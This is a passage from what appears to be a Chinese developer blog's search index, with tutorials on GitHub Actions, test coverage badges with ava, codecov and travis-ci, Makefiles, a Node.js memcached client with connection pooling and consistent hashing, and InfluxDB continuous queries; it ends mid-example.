./path/to/dir 。 例如项目文件结构为: |-- hello-world (repository) | |__ .github | └── workflows | └── my-first-workflow.yml | └── actions | |__ hello-world-action | └── action.yml 当你想要在 workflow 中引用自己的 action 时可以: jobs: build: runs-on: ubuntu-latest steps: # This step checks out a copy of your repository. - uses: actions/checkout@v1 # This step references the directory that contains the action. - uses: ./.github/actions/hello-world-action 3、引用 Docker Hub 上的 container 如果某个 action 定义在了一个 docker container image 中且推送到了 Docker Hub 上,你也可以引入它,格式是 docker://{image}:{tag} ,示例: jobs: my_first_job: steps: - name: My first step uses: docker://alpine:3.8 更多信息参考: Docker-image.yml workflow 和 Creating a Docker container action 。 ","date":"2019-12-23","objectID":"/github-actions/:7:2","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"构建 actions 请参考:building-actions ","date":"2019-12-23","objectID":"/github-actions/:7:3","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"env 环境变量可以配置在以下地方: env jobs.\u003cjob_id\u003e.env jobs.\u003cjob_id\u003e.steps.env 示例: env: NODE_ENV: dev jobs: job1: env: NODE_ENV: test steps: - name: env: NODE_ENV: prod 如果重复,优先使用最近的那个。 ","date":"2019-12-23","objectID":"/github-actions/:8:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"if \u0026 context 你可以在 job 和 step 中使用 if 条件语句,只有满足条件时才执行具体的 job 或 step : jobs.\u003cjob_id\u003e.if jobs.\u003cjob_id\u003e.steps.if 任务状态检查函数: success() : 当上一步执行成功时返回 true always() : 总是返回 true cancelled() : 当 workflow 被取消时返回 true failure() : 当上一步执行失败时返回 true 例如: steps: - name: step1 if: always() - name: step2 if: success() - name: step3 if: failure() 意思就是 step1 总是执行,step2 需要上一步执行成功才执行,step3 只有当上一步执行失败才执行。 ","date":"2019-12-23","objectID":"/github-actions/:9:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"${{ \u003cexpression\u003e }} 上下文和表达式: ${{ \u003cexpression\u003e }} 。 有时候我们需要与第三方平台进行交互,这时候通常需要配置一个 token ,但是显然这个 token 不可能明文使用,这种个情况下我们要做的就是: 在具体 repository 库 Settings 的 Secrets 中添加一个密钥,如 SOMEONE_TOKEN 然后在 workflow 中就可以通过 ${{ secrets.SOMEONE_TOKEN }} 将 token 安全地传递给环境变量。 steps: - name: My first action env: SOMEONE_TOKEN: ${{ secrets.SOMEONE_TOKEN }} 这里的 secrets 就是一个上下文,除此之外还有很多,比如: github.event_name : 触发 workflow 的事件名称 job.status : 当前 job 的状态,如 success, failure, or cancelled steps.\u003cstep id\u003e.outputs : 某个 action 的输出 runner.os : runner 的操作系统如 Linux, Windows, or macOS 这里只列举了少数几个。 另外在 if 中使用时不需要 ${{ }} 符号,比如: steps: - name: My first step if: github.event_name == 'pull_request' \u0026\u0026 github.event.action == 'unassigned' run: echo This event is a pull request that had an assignee removed. 上下文和表达式详细信息请参考: contexts-and-expression ","date":"2019-12-23","objectID":"/github-actions/:9:1","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"结语 最后给个自己写的示例,仅供参考: name: GitHub Actions CI on: [push] jobs: build-test-deploy: runs-on: ubuntu-latest strategy: matrix: node-version: [8.x, 10.x, 12.x] steps: - uses: actions/checkout@v1 - name: install linux packages run: sudo apt-get install -y --no-install-recommends libevent-dev - name: install memcached if: success() run: | wget -O memcached.tar.gz http://memcached.org/files/memcached-1.5.20.tar.gz tar -zxvf memcached.tar.gz cd memcached-1.5.20 ./configure \u0026\u0026 make \u0026\u0026 sudo make install memcached -d - name: Use Node.js ${{ matrix.node-version }} uses: actions/setup-node@v1 if: success() with: node-version: ${{ matrix.node-version }} - name: npm install, build, and test env: CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} if: success() run: | npm ci npm test npm run report-coverage ","date":"2019-12-23","objectID":"/github-actions/:10:0","tags":["Github","CICD"],"title":"GitHub Actions 指南","uri":"/github-actions/"},{"categories":["Uncate"],"content":"给你的库加上酷炫的小徽章","date":"2019-12-21","objectID":"/ava-codecov-travis/","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"给库加上酷炫的小徽章 \u0026 ava、codecov、travis 示例 GitHub 很多开源库都会有几个酷炫的小徽章,比如: 这些是怎么加上去的呢? ","date":"2019-12-21","objectID":"/ava-codecov-travis/:0:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"Shields.io 首先这些徽章可以直接去 shields.io 网站自动生成。 比如: 就是 version 这一类里的一种图标,选择 npm 一栏填入包名,然后复制成 Markdown 内容,就会得到诸如: ![npm (tag)](https://img.shields.io/npm/v/io-memcached/latest) 直接粘贴在 .md 文件中就可以使用了,最后展现的就是这个图标。 当然还有其他很多徽章都任由你挑选,不过某些徽章是需要额外进行一些配置,比如这里的 (自动构建通过) 和 (测试覆盖率)。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:1:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"AVA 谈到测试覆盖率必须先有单元测试,本文使用 ava 作为示例,ava 是一个 js 测试库,强烈推荐你使用它。 1、安装 npm init ava 2、使用示例 编写 test.js 文件: import test from 'ava' import Memcached from '../lib/memcached'; test.before(t =\u003e { const memcached = new Memcached(['127.0.0.1:11211'], { pool: { max: 2, min: 0 }, timeout: 5000 }); t.context.memcached = memcached; }); test('memcached get/set', async t =\u003e { try { t.plan(3); const key = 'testkey'; const testdata = 'testest\\r\\n\\stese'; const r = await t.context.memcached.set(key, testdata); t.is(r, 'STORED'); const g = await t.context.memcached.get(key, testdata); t.is(g, testdata); const dr = await t.context.memcached.del(key); t.is(dr, 'DELETED'); } catch (error) { t.fail(error.message); } }); test('unit test title', t =\u003e { t.pass(); }); 说明: ava 本身就支持很多 es6 及以上的特性,你不用另外再使用 babel 。 test.before 就是一个钩子,你可以通过 context 向后传递变量并使用。 test('title', t =\u003e {}) 函数构造我们的单元测试,每项测试的名称可以自己定义,使用非常方便,多个 test 之间是并发执行的,如果你需要依次执行则使用 test.serial()。 t.plan() 声明了每项测试中应该有几次断言。 t.is() 则是进行断言判断。 t.fail() 声明单项测试不通过。 t.pass() 声明单项测试通过。 当然这里只是展示了很少的几个用法,更多详细的内容看官方文档。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:2:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"coverage 单元测试有了,但是还没有测试覆盖率,为此我们还需要 nyc 。 npm install --save-dev nyc 修改 package.json 文件: { \"scripts\": { \"test\": \"nyc ava\" } } 获取测试覆盖率时会生成相关的文件,我们在 .gitignore 中忽略它们即可: .nyc_output coverage* 当我们再执行 npm test 时,其就会执行单元测试,并且获取测试覆盖率,结果类似于: $ npm test \u003e nyc ava 4 tests passed --------------|----------|----------|----------|----------|-------------------| File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s | --------------|----------|----------|----------|----------|-------------------| All files | 72.07 | 63.37 | 79.49 | 72.07 | | memcached.js | 72.59 | 64.37 | 74.19 | 72.59 |... 13,419,428,439 | utils.js | 68 | 57.14 | 100 | 68 |... 70,72,73,75,76 | --------------|----------|----------|----------|----------|-------------------| ","date":"2019-12-21","objectID":"/ava-codecov-travis/:2:1","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"Codecov 测试覆盖率也有了,但这只是本地的,我们还不能生成 这种徽章。 为此,本文选择了 codecov 平台,我们需要使用 GitHub 账号登录 codecov 并关联我们的 repository 库,同时我们需要生成一个 token 令牌以便后续使用。 安装 codecov : npm install --save-dev codecov 在 package.json 文件中增加一个上报测试覆盖率的脚本: { \"scripts\": { \"report-coverage\": \"nyc report --reporter=text-lcov \u003e coverage.lcov \u0026\u0026 codecov\" } } 上报测试覆盖率的结果给 codecov 是需要权限的,这里的权限需要配置环境变量 CODECOV_TOKEN=\u003ctoken\u003e ,token 就是刚刚在 codecov 平台上设置的令牌,然后执行 npm run report-coverage 才会成功。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:3:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"Travis-ci 本文使用 travis-ci 来做持续集成,同样的你需要使用 GitHub 账号登录 travis-ci 并关联我们的 repository 库。 编写 .travis.yml 配置文件: language: node_js node_js: - \"12\" sudo: required before_install: sudo apt-get install libevent-dev -y install: - wget -O memcached.tar.gz http://memcached.org/files/memcached-1.5.20.tar.gz - tar -zxvf memcached.tar.gz - cd memcached-1.5.20 - ./configure \u0026\u0026 make \u0026\u0026 sudo make install - memcached -d script: - npm ci \u0026\u0026 npm test \u0026\u0026 npm run report-coverage language : 声明语言环境,这里的 node_js 还声明了版本。 sudo : 声明在 CI 的虚拟环境中是否需要管理员权限。 before_install : 安装额外的系统依赖。 install : 示例中另外安装了 memcached 并在后台启动,因为本文的测试需要。 script : 声明 CI 执行的脚本命令。 由于我们在 travis-ci 上执行 npm run report-coverage 向 codecov 上报测试覆盖率时需要其权限,因此还需要在 travis-ci 的 Settings 中设置环境变量 CODECOV_TOKEN 。 最后,当我们向 GitHub 库中提交了新的内容后,就会触发 CI 流程,虚拟化环境、安装依赖、执行命令等等,CI 通过后就可以得到 徽章了。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:4:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"结语 shields.io 徽章有多种,根据你的需要进行相应的配置即可,本文使用了 codecov 和 travis-ci 作为示例,但是还有很多其他的平台任由你选。 ","date":"2019-12-21","objectID":"/ava-codecov-travis/:5:0","tags":["Github","Node.js"],"title":"给你的库加上酷炫的小徽章","uri":"/ava-codecov-travis/"},{"categories":["Uncate"],"content":"使用 Makefile 构建指令集","date":"2019-12-15","objectID":"/makefile/","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"使用 Makefile 构建指令集 make 是一个历史悠久的构建工具,通过配置 Makefile 文件就可以很方便的使用你自己自定义的各种指令集,且与具体的编程语言无关。 例如配置如下的 Makefile : run dev: NODE_ENV=development nodemon server.js 这样当你在命令行执行 make run dev 时其实就会执行 NODE_ENV=development nodemon server.js 指令。 使用 Makefile 构建指令集可以很大的提升工作效率。 ","date":"2019-12-15","objectID":"/makefile/:0:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"Makefile 基本语法 \u003ctarget\u003e: \u003cprerequisites\u003e \u003ccommands\u003e target 其实就是执行的目标,prerequisites 是执行这条指令的前置条件,commands 就是具体的指令内容。 示例: build: clean go build -o myapp main.go clean: rm -rf myapp 这里的 build 有一个前置条件 clean ,意思就是当你执行 make build 时,会先执行 clean 的指令内容 rm -rf myapp ,然后再执行 build 的内容 go build -o myapp main.go 。 ","date":"2019-12-15","objectID":"/makefile/:1:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"变量 自定义变量,示例: APP=myapp build: clean go build -o ${APP} main.go clean: rm -rf ${APP} ","date":"2019-12-15","objectID":"/makefile/:2:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"PHONY 上例中的定义了 target 目标有 build 和 clean ,如果当前目录中正好有一个文件叫做 build 或 clean,那么其指令内容不会执行,这是因为 make 会把 target 视为文件,只有当文件不存在或发生改变时才会去执行命令。 为了解决这个问题,我们需要使用 PHONY 声明 target 其实是伪目标: APP=myapp .PHONY: build build: clean go build -o ${APP} main.go .PHONY: clean clean: rm -rf ${APP} 多个 PHONY 也可以统一声明在一行中: .PHONY: build clean ","date":"2019-12-15","objectID":"/makefile/:3:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"递归的目标 假设我们的工程目录结构如下: ~/project ├── main.go ├── Makefile └── mymodule/ ├── main.go └── Makefile 文件根目录下还有一个文件夹 mymodule,它可能是一个单独的模块,也需要打包构建,并且定义有自己的 Makefile : # ~/project/mymodule/Makefile APP=module build: go build -o ${APP} main.go 现在当你处于项目的根目录时,如何去执行 mymodule 子目录下定义的 Makefile 呢? 使用 cd 命令也可以,不过我们有其它的方式去解决这个问题:使用 -C 标志和特定的 ${MAKE} 变量。 修改项目根目录中的 Makefile 为: APP=myapp .PHONY: build build: clean go build -o ${APP} main.go .PHONY: clean clean: rm -rf ${APP} .PHONY: build-mymodule build-mymodule: ${MAKE} -C mymodule build 这样,当你执行 make build-mymodule 时,其将会自动切换到 mymodule 目录,并且执行 mymodule 目录下的 Makefile 中定义的 build 指令。 ","date":"2019-12-15","objectID":"/makefile/:4:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"shell 输出作为变量 我们可以把 shell 中执行的指令的输出作为变量: V=$(shell go version) gv: echo ${V} 这里执行 make gv 就会先执行 go version 指令然后把输出的内容赋值给变量 V 。 ","date":"2019-12-15","objectID":"/makefile/:5:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"判断语句 假设我们的指令依赖于环境变量 ENV ,我们可以使用一个前置条件去检查是否忘了输入 ENV : .PHONY: run run: check-env echo ${ENV} check-env: ifndef ENV $(error ENV not set, allowed values - `staging` or `production`) endif 这里当我们执行 make run 时,因为有前置条件 check-env 会先执行前置条件中的内容,指令内容是一个判断语句,判断 ENV 是否未定义,如果未定义,则会抛出一个错误,错误提示就是 error 后面的内容。 ","date":"2019-12-15","objectID":"/makefile/:6:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"帮助提示 添加 help 帮助提示: .PHONY: build ## build: build the application build: clean @echo \"Building...\" @go build -o ${APP} main.go .PHONY: run ## run: runs go run main.go run: go run -race main.go .PHONY: clean ## clean: cleans the binary clean: @echo \"Cleaning\" @rm -rf ${APP} .PHONY: setup ## setup: setup go modules setup: @go mod init \\ \u0026\u0026 go mod tidy \\ \u0026\u0026 go mod vendor .PHONY: help ## help: prints this help message help: @echo \"Usage: \\n\" @sed -n 's/^##//p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/ /' 这样当你执行 make help 时,就是打印如下的提示内容: Usage: build build the application run runs go run main.go clean cleans the binary setup setup go modules help prints this help message ","date":"2019-12-15","objectID":"/makefile/:7:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"参考资料 https://danishpraka.sh/2019/12/07/using-makefiles-for-go.html http://www.ruanyifeng.com/blog/2015/02/make.html https://www.gnu.org/software/make/manual/make.html ","date":"2019-12-15","objectID":"/makefile/:8:0","tags":[],"title":"使用 Makefile 构建指令集","uri":"/makefile/"},{"categories":["Uncate"],"content":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","date":"2019-12-09","objectID":"/create-memcached-client/","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议。 废话不多说,文本将带你实现一个简单的 memcached 客户端。 ","date":"2019-12-09","objectID":"/create-memcached-client/:0:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"集群:一致性哈希 memcached 本身并不支持集群,为了使用集群,我们可以自己在客户端实现路由分发,将相同的 key 路由到同一台 memcached 上去即可。 路由算法有很多,这里我们使用一致性哈希算法。 一致性哈希算法的原理: 一致性哈希算法已经有开源库 hashring 实现,基本用法: const HashRing = require('hashring'); // 输入集群地址构造 hash ring const ring = new HashRing(['127.0.0.1:11211', '127.0.0.2:11211']); // 输入 key 获取指定节点 const host = ring.get(key); ","date":"2019-12-09","objectID":"/create-memcached-client/:1:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"TCP 编程 包括 memcached 在内的许多系统对外都是通过 TCP 通信。在 Node.js 中建立一个 TCP 连接并进行数据的收发很简单: const net = require('net'); const socket = new net.Socket(); socket.connect({ host: host, // 目标主机 port: port, // 目标端口 // localAddress: localAddress, // 本地地址 // localPort: localPort, // 本地端口 }); socket.setKeepAlive(true); // 保活 // 连接相关 socket.on('connect', () =\u003e { console.log(`socket connected`); }); socket.on('error', error =\u003e { console.log(`socket error: ${error}`); }); socket.on('close', hadError =\u003e { console.log(`socket closed, transmission error: ${hadError}`); }); socket.on('data', data =\u003e { // 接受数据 }); socket.write(data); // 发送数据 一条连接由唯一的五元组确定,所谓的五元组就是:协议(比如 TCP 或者 UDP)、本地地址、本地端口、远程地址、远程端口。 系统正是通过五元组去区分不同的连接,其中本地地址和本地端口由于在缺省情况下会自动生成,常常会被我们忽视。 ","date":"2019-12-09","objectID":"/create-memcached-client/:2:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"连接池 一次完整的 TCP 通信过程为:三次握手,建立连接 –\u003e 数据传递 –\u003e 挥手,关闭连接。 我们都知道握手建立连接的过程是非常消耗资源的,而连接池就是为了解决这个问题,连接池是一个通用的模型,它包括: 建立连接,将连接放入池中。 需要使用连接时(进行数据收发),从连接池中取出连接。 连接使用完成后,将连接放回到池中。 其它。 可以看到所谓的连接池其实就是在连接使用完成后并不是立即关闭连接,而是让连接保活,等待下一次使用,从而避免反复建立连接的过程。 正如上文所述,连接池是一个通用的模型,我们这里直接使用开源库 generic-pool 。 池化 TCP 连接示例: const net = require('net'); const genericPool = require('generic-pool'); // 自定义创建连接池的函数 function _buildPool(remote_server) { const factory = { create: function () { return new Promise((resolve, reject) =\u003e { const host = remote_server.split(':')[0]; const port = remote_server.split(':')[1]; const socket = new net.Socket(); socket.connect({ host: host, // 目标主机 port: port, // 目标端口 }); socket.setKeepAlive(true); socket.on('connect', () =\u003e { console.log(`socket connected: ${remote_server} , local: ${socket.localAddress}:${socket.localPort}`); resolve(socket); }); socket.on('error', error =\u003e { console.log(`socket error: ${remote_server} , ${error}`); reject(error); }); socket.on('close', hadError =\u003e { console.log(`socket closed: ${remote_server} , transmission error: ${hadError}`); }); }); }, destroy: function (socket) { return new Promise((resolve) =\u003e { socket.destroy(); resolve(); }); }, validate: function (socket) { // validate socket return new Promise((resolve) =\u003e { if (socket.connecting || socket.destroyed || !socket.readable || !socket.writable) { return resolve(false); } else { return resolve(true); } }); } }; const pool = genericPool.createPool(factory, { max: 10, // 最大连接数 min: 0, // 最小连接数 testOnBorrow: true, // 从池中取连接时进行 validate 函数验证 }); return pool; } // 连接池基本使用 const pool = _buildPool('127.0.0.1:11211'); // 构建连接池 const s = await pool.acquire(); // 从连接池中取连接 await pool.release(s); // 使用完成后释放连接 ","date":"2019-12-09","objectID":"/create-memcached-client/:3:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["Uncate"],"content":"对接自定义协议 包括 memcached 在内的许多系统都定义了一套自己的协议用于对外通信,为了实现 memcached 客户端当然就要遵守它的协议内容。 memcached 客户端协议,我们实现最简单的 get 方法: 发送的数据格式: get \u003ckey\u003e\\r\\n 接受的数据格式: VALUE \u003ckey\u003e \u003cflags\u003e \u003cbytes\u003e\\r\\n \u003cdata block\u003e\\r\\n 实现示例: // 定义一个请求方法并返回响应数据 function _request(command) { return new Promise(async (resolve, reject) =\u003e { try { // ...这里省略了连接池构建相关部分 const s = await pool.acquire(); // 取连接 const bufs = []; s.on('data', async buf =\u003e { // 监听 data 事件接受响应数据 bufs.push(buf); const END_BUF = Buffer.from('\\r\\n'); // 数据接受完成的结束位 if (END_BUF.equals(buf.slice(-2))) { s.removeAllListeners('data'); // 移除监听 try { await pool.release(s); // 释放连接 } catch (error) { } const data = Buffer.concat(bufs).toString(); return resolve(data); } }); s.write(command); } catch (error) { return reject(error); } }); } // get function get(key) { return new Promise(async (resolve, reject) =\u003e { try { const command = `get ${key}\\r\\n`; const data = await _request(key, command); // ...响应数据的处理,注意有省略 // key not exist if (data === 'END\\r\\n') { return resolve(undefined); } /* VALUE \u003ckey\u003e \u003cflags\u003e \u003cbytesLength\u003e\\r\\n \u003cdata block\u003e\\r\\n */ const data_arr = data.split('\\r\\n'); const response_line = data_arr[0].split(' '); const value_flag = response_line[2]; const value_length = Number(response_line[3]); let value = data_arr.slice(1, -2).join(''); value = unescapeValue(value); // unescape \\r\\n // ...有省略 return resolve(value); } catch (error) { return reject(error); } }); } 以上示例都单独拿出来了,其实是在整合在一个 class 中的: class Memcached { constructor(serverLocations, options) { this._configs = { ...{ pool: { max: 1, min: 0, idle: 30000, // 30000 ms. }, timeout: 5000, // timeout for every command, 5000 ms. retries: 5, // max retry times for failed request. maxWaitingClients: 10000, // maximum number of queued requests allowed }, ...options }; this._hashring = new HashRing(serverLocations); this._pools = {}; // 通过 k-v 的形式存储具体的地址及它的连接池 } _buildPool(remote_server) { // ... } _request(key, command) { // ... } // get async get(key) { // ... } // ... 其他方法 } // 使用实例 const memcached = new Memcached(['127.0.0.1:11211'], { pool: { max: 10, min: 0 } }); const key = 'testkey'; const result = await memcached.get(key); 完整的示例可以看 io-memcached 。 ","date":"2019-12-09","objectID":"/create-memcached-client/:4:0","tags":["Node.js","Memcached"],"title":"实现 memcached 客户端:TCP、连接池、一致性哈希、自定义协议","uri":"/create-memcached-client/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(七)","date":"2019-11-17","objectID":"/7/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(七)","uri":"/7/"},{"categories":["InfluxDB"],"content":" 单点故障和容灾备份 InfluxDB 开源的社区版本面临的最大的问题就是单点故障和容灾备份,有没有一个简单的方案去解决这个问题呢? 既然有单点故障的可能,那么索性写入多个节点,同时也解决了容灾备份的问题: 1、在不同的机器上配置多个 InfluxDB 实例,写入数据时,直接由客户端并发写入多个实例。(为什么不用代理,因为代理自身就是个单点)。 2、当某个 InfluxDB 实例故障而导致写入失败时,记录失败的数据和节点,这些失败的数据可以临时存储在数据库、消息中间件、日志文件等等里面。 3、通过自定义的 worker 拉取上一步记录的失败的数据然后重写这些数据。 4、多个 InfluxDB 中的数据最终一致。 当然你需要注意的是: 1、由于是并发写入多个节点,且不同机器的状况不一,所以写入数据应该设置一个超时时间。 2、写入失败的数据必须要与节点相对应,同时你应该考虑如何去定义失败的数据:由于格式不正确或者权限问题导致的 4xx 或者 InfluxDB 本身异常导致的 5xx ,这些与 InfluxDB 宕机等故障导致的失败显然是不同的。 3、由于失败的数据需要临时存储在一个数据容器中,你应该考虑所使用的数据容器能否承载故障期间写入的数据压力,以及如果数据要求不可丢失,那么数据容器也需要有对应的支持。 4、失败数据的重写是一个异步的过程,所以写入的数据应该由客户端指定明确的时间戳,而不是使用 InfluxDB 写入时默认生成的时间戳。 5、故障期间多个 InfluxDB 可能存在数据不一致的情况。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-11-17","objectID":"/7/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(七)","uri":"/7/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(六)","date":"2019-11-06","objectID":"/6/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(六)","uri":"/6/"},{"categories":["InfluxDB"],"content":" CQ 连续查询 连续查询 Continuous Queries( CQ )是 InfluxDB 很重要的一项功能,它的作用是在 InfluxDB 数据库内部自动定期的执行查询,然后将查询结果存储到指定的 measurement 里。 配置文件中的相关配置: [continuous_queries] enabled = true log-enabled = true query-stats-enabled = false run-interval = \"1s\" enabled = true :开启CQ log-enabled = true :输出 CQ 日志 query-stats-enabled = false :关闭 CQ 执行相关的监控,不会将统计数据写入默认的监控数据库 _internal run-interval = “1s” :InfluxDB 每隔 1s 检查是否有 CQ 需要执行 基本语法 一 、 基本语法: CREATE CONTINUOUS QUERY \u003ccq_name\u003e ON \u003cdatabase_name\u003e BEGIN \u003ccq_query\u003e END 在某个数据库上创建一个 CQ ,而查询的具体内容 cq_query 的语法为: SELECT \u003cfunction[s]\u003e INTO \u003cdestination_measurement\u003e FROM \u003cmeasurement\u003e [WHERE \u003cstuff\u003e] GROUP BY time(\u003cinterval\u003e)[,\u003ctag_key[s]\u003e] SELECT function[s] : 连续查询并不只是简单的查询原始数据,而是基于原始数据进行聚合、特选、转换、预测等处理,所以 CQ 必须要有一个或多个数据处理函数。 INTO \u003cdestination_measurement\u003e : 将 CQ 的结果存储到指定的 measurement 中。 FROM : 原始数据的来源 measurement 。 [WHERE ] : 可选项,原始数据的筛选条件。 GROUP BY time()[,\u003ctag_key[s]\u003e] : 连续查询不是查一次就完了,而是每次查询指定时间范围内的数据,不断周期性的执行下去。 定位一个 measurement 的完整格式是: \u003cdatabase\u003e.\u003cRP\u003e.\u003cmeasurement\u003e 使用当前数据库和默认 RP 的情况就只需要 measurement 。 InfluxDB 支持的时长单位: ns : 纳秒 u / µ : 微秒 ms : 毫秒 s : 秒 m : 分钟 h : 小时 d : 天 w : 周 二、 1、CQ 在何时执行? CQ 在何时执行取决于 CQ 创建完成的时间点、GROUP BY time() 设置的时间间隔、以及 InfluxDB 数据库预设的时间边界(这个预设的时间边界其实就是 1970.01.01 00:00:00 UTC 时间,对应 Unix timestamp 的 0 值)。 假设我在 2019.11.05(北京时间)创建好了一个 GROUP BY time(30d) 的 CQ(也就是时间间隔为 30 天),那么这个 CQ 会在什么时间点执行? 首先,2019.11.05 号转换为 timestamp 是 1572883200 秒; 再算1572883200 距离 0 值隔了多少个 30 天(一天是 86400 秒),1572883200/86400/30 = 606.8 ; 那么下一个 30 天就是 606.8 向上取整 607 ,6078640030 = 1573344000 ,转换为对应的日期就是 2019.11.10 号,这也就是第一次执行 CQ 的时间,之后每次执行就是往后推 30 天。 如果每次都这样算就很麻烦,但其实我们更常使用的时间间隔没有那么长,通常都是秒、分钟、小时单位,这种情况下直接从 0 速算就可以了,比如: 在时间点 16:09:35 创建了 CQ ,GROUP BY time(30s) ,那么 CQ 的执行时间就是 16:10:00、16:10:30、16:11:00 以此类推(从 0s 开始速算)。 在时间点 16:16:08 创建了 CQ ,GROUP BY time(5m) ,那么 CQ 的执行时间就是 16:20:00、16:25:00、16:30:00 以此类推(从 0m 开始速算)。 在时间点 16:38:27 创建了 CQ ,GROUP BY time(2h) ,那么 CQ 的执行时间就是 18:00:00 、20:00:00 、22:00:00 以此类推(从 0h 开始速算)。 2、CQ 执行的数据范围? 连续查询会根据 GROUP BY time() 的时间间隔确定作用的数据,每次执行所针对的数据的时间范围是 [ now() - GROUP BY time() ,now() ) 。 例如,GROUP BY time(1h) : 在 8:00 执行时,数据是时间大于等于 7:00,小于 8:00,即 [ 7:00 , 8:00 ) 范围内的数据。 在 9:00 执行时,数据是时间大于等于 8:00,小于 9:00,即 [ 8:00 , 9:00 ) 范围内的数据。 你可以使用 WHERE 去过滤数据,但是 WHERE 里指定的时间范围会被忽略掉。 3、CQ 的执行结果? CQ 会将执行结果存储到指定的 measurement ,但是存储的具体字段有哪些呢?首先 time 是必不可少的,time 写入的是 CQ 执行时数据范围的开始时间点;其次就是 function 的处理结果,如果只有单一字段,那么 field key 就是 function 的名称,如果有多个字段,那么 field key 就是 function 名称_作用字段。 例如,GROUP BY time(30m) ,UTC 7:30 执行: 单一字段: SELECT mean(\"field\") INTO \"result_measurement\" FROM \"source_measurement\" GROUP BY time(30m) CQ 结果: time mean 2019-11-05T07:00:00Z 7 多字段: SELECT mean(\"*\") INTO \"result_measurement\" FROM \"source_measurement\" GROUP BY time(30m) CQ 结果: time mean_field1 mean_field2 2019-11-05T07:00:00Z 7 6.5 这里的 mean 对应的是 function 里的平均值函数。 三、 GROUP BY time() 的完整格式是: GROUP BY time(\u003cinterval\u003e[,\u003coffset_interval\u003e]) 第二个参数 offset_interval 偏移量是可选的,这个偏移量会对 CQ 的执行时间和数据范围产生影响。 如果 GROUP BY time(1h) ,在 8:00 执行,数据范围是 [ 7:00 , 8:00 ) 。 那么 GROUP BY time(1h, 15m) 会使 CQ 的执行时间向后推迟 15m ,即在 8:15 执行,数据范围也就变成了 [ 7:15 , 8:15 ) 。 高级语法 高级语法: CREATE CONTINUOUS QUERY \u003ccq_name\u003e ON \u003cdatabase_name\u003e RESAMPLE EVERY \u003cinterval\u003e FOR \u003cinterval\u003e BEGIN \u003ccq_query\u003e END 与基本语法不同的是,高级语法多了 RESAMPLE EVERY \u003cinterval\u003e FOR \u003cinterval\u003e 1、RESAMPLE EVERY EVERY 定义了 CQ 执行的间隔: RESAMPLE EVERY 30m 意思就是每隔 30m 执行一次 CQ 。 示例: CREATE CONTINUOUS QUERY \"cq_every\" ON \"db\" RESAMPLE EVERY 30m BEGIN SELECT mean(\"field\") INTO 